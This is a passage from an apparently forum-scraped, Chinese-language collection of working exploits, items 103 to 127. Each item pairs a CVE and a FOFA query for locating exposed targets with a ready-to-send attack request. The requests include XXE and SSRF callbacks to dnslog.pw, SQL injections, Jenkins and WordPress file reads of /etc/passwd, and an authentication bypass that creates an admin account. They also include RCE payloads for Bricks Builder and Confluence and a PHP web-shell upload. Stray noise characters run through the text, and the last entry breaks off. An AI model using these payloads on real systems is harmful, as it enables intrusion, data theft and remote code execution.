<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
. D: P& r7 n+ U: W* w$ d" B5 C% W3 v
! s7 M4 K# B2 x) Q" W103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
, [/ r, m: z. b/ K% ]+ a$ Z  HFOFA：body="welcome.cgi?p=logo"
3 H/ e) w, E& H' ?9 PPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
. g8 @5 p5 ~) x  H- l$ ZUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
0 }. I& S% B3 v2 P2 y- pContent-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

' g9 V8 }5 V; R8 V+ t2 o1 YSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
$ D7 A% I( V2 |  X
) U' c: A5 y) O0 G! |# Y; h
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
4 Z. {4 h+ P' w' I6 I/ N4 Q1 i<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
6 E( {: {* @* ^7 r+ i  A
+ W$ R) p  Y  {, L, f% i# R( u
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
) P9 N8 K( K5 jPOST /cgi-bin/cstecgi.cgi HTTP/1.1
5 ~) c$ l( d$ }8 q% z5 b9 vHost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
9 D' k+ H' F- a9 J, F% I$ rContent-Type: application/x-www-form-urlencoded:charset=UTF-8
3 U) g0 i0 C) ]3 O! ]Origin: http://192.168.0.1
: D$ U4 t1 Q$ Y2 \Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
' v  Q% y9 w) A8 H6 QAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
$ r+ }& G7 k6 b8 v% u4 ^' mConnection:close

: r8 {7 n8 G6 D+ L9 H) l# z# m{
' z4 E6 B5 q$ p% r! j; B0 D"topicurl":"getSysStatusCfg",
"token":""
# z6 H: z: Q8 k9 L; B) n: i}

105. SpringBlade v3.2.0 export-user SQL 注入
; m, t! D6 B0 D/ C& O5 EFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
9 v2 i* Z. @, \4 z
. m# d1 q0 d0 b! g4 M106. SpringBlade dict-biz/list SQL 注入
) d, ~* Y/ l$ g6 o+ h1 JFOFA：body="Saber 将不能正常工作"
, O3 H/ [5 [" _3 A# `: i2 N9 ]5 O( ~GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
, X2 p: M1 H6 }  WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" ^9 H7 I3 c) u$ i9 x! O9 ?Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
9 ^- s( k' K: |: j6 I) DAccept-Encoding: gzip, deflate
& m, {2 @& n. L3 E4 lAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ d; G6 D# x& X) L* F# l

107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
8 ^+ ?4 M4 w: H$ y" {9 K) ^+ Y, oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
8 i2 p% J5 \: V" ~

& }$ k' e5 f* X$ T108. D-Tale 3.9.0 SSRF
6 {8 J/ |& L1 ^$ \CVE-2024-21642
: [# A, Q+ Y4 Z6 o" I( _% I: NFOFA："dtale/static/images/favicon.png"
# u$ G9 u5 G+ L. W+ AGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
* B4 N5 P$ C- y8 l3 _Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
; p: l# F& V( T: B: A3 G9 hConnection: close
; |& o3 a; r2 b. o
+ d1 M! V/ [& K# f" n
1 ]! {( [3 H5 H) |/ L109. Jenkins CLI 任意文件读取
9 o  Y" t3 l. s- a+ i+ B- |CVE-2024-23897
FOFA：header="X-Jenkins"
+ f. V8 y+ ^% S  iPOST /cli?remoting=false HTTP/1.1
Host:
8 Q; O7 f2 T! i  ^Content-type: application/octet-stream
5 x' f$ S- L( c5 M9 n  d$ Q! `; H6 ~4 pSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
9 F2 O" n. L; x; |; G1 q* PContent-Length: 0
; G4 B9 S3 F5 }

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
5 \1 i. L0 |" y1 m0 ^java -jar jenkins-cli.jar help
[COMMAND]
9 M; m2 @& {% W$ F& r: t& MLists all the available commands or a detailed description of single command.
- h% g( V+ W6 _! p COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

* h/ V- L5 h5 b$ _% C
/ O& q" M3 G* X% }110. Goanywhere MFT 未授权创建管理员
  D- }2 ^5 Q0 _+ F: tCVE-2024-0204
6 k0 _5 G' }! \; G% {. gFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
" ]7 i# A; }" u) \- t- H! UGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
+ q6 Q0 L5 m) }# @- i$ @Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
( v9 v5 t, c( w! ?

111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
- w( b  ^% x' ~& _+ M1 uGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
0 y% o' d$ E7 G+ \" @  W7 fConnection: close
Accept: */*
0 \/ z; a0 G! ^* a9 O) rAccept-Language: en
Accept-Encoding: gzip

5 h" N( [; c4 N' B/ |
112. WordPress Plugin NotificationX SQL 注入
6 i4 Z  V* r1 aCVE-2024-1698
% {% S. @0 P' o4 d9 h- K8 B# |( `FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
. o: Z9 T. W$ P! d/ R. lContent-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

9 @4 [8 ^) @( N' B
+ x+ x$ R- N1 [3 y" a113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
/ h' E9 L2 b, U, x% ?User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
, h6 x6 T) Y. d$ r/ OAccept-Language: en
, v+ S# k, I4 H( _! {) I9 jAccept-Encoding: gzip


* }0 z2 O0 @2 F+ k$ |114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
5 u: R' @' b8 R2 o& W% y2 AConnection: close
# ]* S8 J! G* X+ @' p

) y9 e8 _4 F6 p+ \& P0 o  M# Z115. WordPress Bricks Builder <= 1.9.6 RCE
: I4 A2 [7 W7 L- t: O4 t5 W% VCVE-2024-25600
% ?2 N0 O: [6 V$ J. O0 W7 W* N# bFOFA: body="/wp-content/themes/bricks/"
# }: R& V2 J6 m3 ?$ _! x" p- T第一步，获取网站的nonce值
8 R# D/ |5 C6 zGET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
' @3 w2 B9 @8 M6 FConnection: close
Accept-Encoding: gzip

8 |! [5 {5 M: }( }' `& }# Q. z
第二步替换nonce值，执行命令
. ]! I, O$ f) x, gPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
" N7 {( G0 c5 Y7 _' n7 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
7 o1 \8 P" O% ]3 n$ SConnection: close
Content-Length: 356
Content-Type: application/json
7 ]  n" \7 M' MAccept-Encoding: gzip
, N6 B8 V5 v3 G3 |4 `
. t/ k3 {" s6 F( t+ H{
"postId": "1",
  "nonce": "第一步获得的值",
+ ]8 u5 X/ c6 h  "element": {
" ~2 V2 w& _: [1 d# a7 _# y    "name": "container",
6 v+ p5 C0 a4 a( j    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
! ]+ d1 D4 [& h. l7 W      }
    }
  }
}
- B: H0 O( F  y5 |/ D
( K/ X$ ]& a0 X' z
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
- F0 n, e& w: l8 ?1 q6 NContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

( Y9 z  K; j& L$ l9 E* d0 O----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
! x  f- ~6 {  i4 }* K0 n/ n& U  `jssupportticket
% L  O/ s2 T; H3 i* I----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
4 t" v! K4 X1 j8 KContent-Type: image/png
  ?! s7 O  y% e, a. x8 d+ l$ J----------767099171--
$ c* p3 y9 g6 R) p+ m

1 @$ Q4 w' [/ M) C: P117. WordPress LayerSlider插件SQL注入
  a2 k4 f# I$ tversion：7.9.11 – 7.10.0
. A/ m$ A3 E7 ^FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
) N& F& n/ e6 r% t; p8 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
3 I% T; u2 m+ W9 s* Z& \Connection: close
1 C3 P' s) }0 g5 ^$ z: zUpgrade-Insecure-Requests: 1
; r# D. E4 E- h+ b) ?5 ~

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
; E6 j) _, p6 c6 z4 p% `CVE-2024-0939
FOFA：title="Smart管理平台"
. S0 ?8 Z9 g# f5 z, DPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
# I* @# J# n# GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, n$ |% o: O: @* A: Z; j* jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, Z* I  U: `; _' g6 hAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
0 O# L0 M: n; z, e3 O- L0 @Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
1 z3 b6 G2 f; @4 Z5 ^) g& y" ]Sec-Fetch-Dest: document
! h3 X% e/ T% w$ \! USec-Fetch-Mode: navigate
$ S2 H% x7 k# U: m* Z" }% tSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
( V4 d- t9 ]3 i7 m
7 i- L3 f, [+ g3 x: _4 ?<?php
- n: a$ }0 C* Msystem($_POST["passwd"]);
% C  s6 P/ \' C( M7 H?>
; q( T, d5 o, H3 L3 J# f7 |-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
8 j" a7 {6 K! }0 A
/home/src.php
- O# X* v. r# U1 t# P8 q8 \! A8 |9 E-----------------------------13979701222747646634037182887--
+ K1 O5 t' y* U; O# X: r9 }
- B* p8 H5 M# E
访问/home/src.php

" Y* E2 H  Q( `+ N. ?119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
( A$ K" ]7 v! H% a0 FFOFA：title="Smart管理平台"
( H6 |' U; W. b, |, p% x先登录进入系统，默认账号密码为admin/admin
/ b3 U' y8 z' D' f6 \7 i! R2 |POST /sysmanage/sysmanageajax.php HTTP/1.11
- D4 g6 H. F; h! n2 e2 ]7 CHost: x.x.x.x
+ E" U" g4 J  VCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
( \$ s) [9 N. ?1 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
% Z" h7 T0 z* E* U7 T. \Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
" g4 r+ _! b/ H$ vContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
0 R# f/ C/ V$ FSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
9 j9 o5 J' W; s$ m7 w( |7 SSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
9 p4 r& J6 m% V/ p' W' A. kX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
, B0 Y* i) [7 i* }6 g% o/ e# v/ zX-Remote-Addr: 1.1.1.1
+ [7 G0 }7 r0 H" tTe: trailers
Connection: close
6 ^% Z/ C6 w) y( P; Q
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


: r* @$ f. w: ]0 z3 m120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
% Z  X- }: u5 a& s8 \FOFA：title="Smart管理平台"
- B3 v! g. D# s+ u0 f7 d2 DPOST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
! m8 C) J6 n/ q4 {7 \& _* q: z0 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( v, E8 x; t; `# }; uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 Q! _0 l' R/ V# ZAccept-Encoding: gzip, deflate
& y* {2 G. V" w1 x/ C( [) jContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
' H8 f) ^" X3 Z* i+ i9 m  A5 a" ~- \Content-Length: 597
Origin: https://ip:port
! d6 O" f6 `; q7 lReferer: https://ip:port/sysmanage/licence.php
; [/ L. ^/ f% }8 WUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
: @; }! G) c" E2 _* P8 y# E4 W. }Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
; t! [$ n+ `, y) T! ]! B, S( v% dTe: trailers
. |- |/ l& x/ B* SConnection: close

, u5 ]' o7 z6 A3 `6 K-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
0 d7 n2 t' W+ Y
( k; _5 A" l- j+ {3 y; ]# Z<?php phpinfo()?>
-----------------------------42328904123665875270630079328
$ S4 e( Z) }  u' I, s- D8 OContent-Disposition: form-data; name="id_type"
  i/ e5 X9 h# j# `
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

2 a* ?2 ]  p/ X3 v7 P1_radhttp
9 n6 M& Z" A% p/ c-----------------------------42328904123665875270630079328
0 P  c7 x0 X4 f* b* P" HContent-Disposition: form-data; name="mode"

8 }! I0 X# @1 X8 H1 V+ ?7 t" cimport
) ]( A' [+ f0 M. \8 [1 x-----------------------------42328904123665875270630079328


文件路径/upload/2.php

7 I* B7 r& |# F121. 北京百绰智能S42管理平台userattestation.php任意文件上传
: p  x1 F7 {9 a& ]4 O: GCVE-2024-1918
, B% r& W0 X4 h; Z6 b" L# ZFOFA：title="Smart管理平台"
" ^) t. l( O% k& o# U. sPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
. u. h, p; z  M! Q- S* EUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- X- n& K" r/ f3 HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, L+ J: X( Z/ ?+ a% o4 hAccept-Encoding: gzip, deflate
) n& H! I. |2 f% J) @Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
% ]5 ]/ z6 |, |8 h. X* x& `* OUpgrade-Insecure-Requests: 1
6 l5 ~1 L: Y, TSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
, v2 W0 E7 ]7 y2 WTe: trailers
, l* B: q( J) b% V$ TConnection: close

" q) k. O2 S  M& B. P- `7 @4 F-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
, z) t/ R% T4 h5 B6 A% {% Z$ Y  rContent-Type: application/octet-stream

( \4 [. E) I1 W- C+ m% z+ M<?php phpinfo();?>
-----------------------------42328904123665875270630079328
% A* @4 H  z2 @Content-Disposition: form-data; name="id_type"
: T0 k/ B! `3 v1 b* H
" ?4 ~8 \% c* A5 ?  H/ {2 i: I1
-----------------------------42328904123665875270630079328
, `9 l5 `. Z1 ~( H! K: W- JContent-Disposition: form-data; name="1_ck"
* X4 P. _/ S% y+ a7 R3 j9 E
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

set
7 l" z3 f0 a7 Z  i. W& K-----------------------------42328904123665875270630079328
1 X4 }: {! E6 Y3 E1 w
+ l! Z( `! Y7 E$ p6 B
* m4 }8 z0 ~6 J! Q* u- K* ?boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
9 V/ M( B+ l! b: yCVE-2024-27718FOFA：title="Smart管理平台"
+ L1 }# l3 ?& L% A: @* n其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
/ _+ S- Y6 c7 z1 y3 J6 n6 {GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
8 G( Y7 b7 Q+ U  s1 SCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
( @/ x4 j, K. O" {/ OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
. w8 f0 Q" Q) p# Y' B% B5 ^& IUpgrade-Insecure-Requests: 1
; t6 @( O3 }" g' E' E3 y6 y* [Sec-Fetch-Dest: document
( Z4 |# O8 J- a- C2 o: eSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
( {2 u' R% Z1 }  @1 D" ISec-Fetch-User: ?1
Te: trailers
2 e# K% x% O8 Z6 ]) O" z5 mConnection: close
& M* B+ M* p* U$ p% A: l
- v7 a5 h; I. }& F, d( J
123. Atlassian Confluence 模板注入代码执行
: a- A, L- d3 i- ~. BFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
; B1 r0 t$ ]( }" A( d  I: _9 HAccept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
2 ~+ ]! D2 L) A% g: G6 [# y6 yConnection: close
Content-Type: application/x-www-form-urlencoded

: H4 ?, k* F4 b( Z, K3 Xlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


124. 湖南建研工程质量检测系统任意文件上传
8 _% k8 X6 z  O' JFOFA：body="/Content/Theme/Standard/webSite/login.css"
& x, Y! {9 ~1 I* APOST /Scripts/admintool?type=updatefile HTTP/1.1
1 A7 I- Z$ ~% t  ]: mHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
3 R8 H6 Q. J" rContent-Type: application/x-www-form-urlencoded
2 m& [2 |& O, t5 I$ b7 K
/ R  @( G3 M. J5 z; B: A* X4 LfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
: A. G$ O5 \6 x2 y

http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
# Z! V* T( s' n: |. ~8 Q- NCVE-2024-1709
% t$ T( b# N: H: L% W" P, `FOFA：icon_hash="-82958153"
2 y) P9 q* s; v/ [/ Mhttps://github.com/watchtowrlabs ... bypass-add-user-poc
( Y* ]* b* i7 Z! S9 g! R1 _0 I
* d- r2 K  r9 G$ Z
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
3 q) _" {# ~" R, g6 r( H
7 L# i% i. N4 u$ y9 s6 [( o9 @
5 G, G8 ~7 Z2 @' p. G9 C6 `创建好用户后直接登录后台，可以执行系统命令。

! F4 d7 ~3 ^* Q+ E126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

! B( Q' q, x1 z5 e1 x. w
  r4 ?( F- }$ j! {, Q127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
% k, [; T% S) E  k! w8 i' S; W8 T2 jHost: 192.168.40.130:8888
1 z* p  L8 F" `7 {/ g3 X, AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
% [: e8 z2 X6 C' ZContent-Length: 415
. x5 ]# n+ w/ @8 t% pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
7 ?0 G1 P0 S9 @  w4 @Accept-Language: zh-CN,zh;q=0.9
5 k7 P% o/ |, ^: X& }. zConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
: q' o0 }$ u5 e- z2 V  ?5 HPurpose: prefetch
Sec-Purpose: prefetch;prerender

: y, _4 A0 e$ V6 x& B" \3 a------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

" S1 c: l4 C0 l* C  d5 F3 ABIM
/ t5 G7 H* |( [3 u------WebKitFormBoundaryJGgV5l5ta05yAIe0
$ G1 a4 u' o; F5 U. T7 _Content-Disposition: form-data;name="Params"
/ e' S) k: p$ v7 @Content-Type: text/plain

  g; ?, U4 [0 M<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
